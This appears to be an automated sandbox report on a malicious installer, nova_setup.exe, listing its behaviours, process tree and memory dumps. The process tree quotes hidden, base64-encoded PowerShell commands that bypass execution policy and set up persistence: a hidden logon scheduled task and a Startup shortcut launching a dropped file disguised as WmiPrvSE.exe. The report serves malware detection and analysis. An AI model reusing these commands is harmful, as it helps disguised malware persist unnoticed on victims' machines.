Analysis
- max time kernel
149s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
19/07/2026, 22:43
General
- Target nova_setup.exe
- Size 12.0MB
- Sample260719-2ndcmsev7m
- SHA256 28beb10b4f0110c99ecf49d54e4540243ec53db5228ba7bcbbf72635721f6fc2
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Drops file in Windows directory 2 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\nova_setup.exe"C:\Users\Admin\AppData\Local\Temp\nova_setup.exe"1⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\WmiPrvSE.exe"C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\WmiPrvSE.exe"1⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_fq1rgapy.4uj.ps1
people.csv
WmiPrvSE.exe
people.csv
people.csv
memory/1224-67-0x00000000036F0000-0x0000000003704000-memory.dmp
memory/1224-3-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/1224-73-0x0000000003710000-0x0000000003718000-memory.dmp
memory/1224-4-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/1224-0-0x00007FFC6282F000-0x00007FFC62830000-memory.dmp
memory/1224-82-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/1224-2-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/1224-1-0x00000000000C0000-0x0000000000CC6000-memory.dmp
memory/1224-5-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/1224-41-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-15-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-14-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-23-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-24-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-37-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-8-0x000001DFC86D0000-0x000001DFC86F2000-memory.dmp
memory/6732-22-0x000001DFE0D40000-0x000001DFE0D5E000-memory.dmp
memory/6732-38-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-39-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-40-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-20-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-42-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-43-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-12-0x000001DFE0FA0000-0x000001DFE1052000-memory.dmp
memory/6732-48-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-50-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-18-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-17-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-16-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-21-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp
memory/6732-13-0x000001DFE0D10000-0x000001DFE0D1A000-memory.dmp
memory/6732-11-0x000001DFE0CF0000-0x000001DFE0D0E000-memory.dmp
memory/6972-79-0x00000260E8A60000-0x00000260E8B12000-memory.dmp
memory/7032-44-0x00000000017C0000-0x00000000017C1000-memory.dmp
memory/7032-80-0x0000000003390000-0x0000000003391000-memory.dmp
memory/7032-84-0x00007FFC5B3D0000-0x00007FFC5B62E000-memory.dmp
memory/7032-36-0x00000000017A0000-0x00000000017A8000-memory.dmp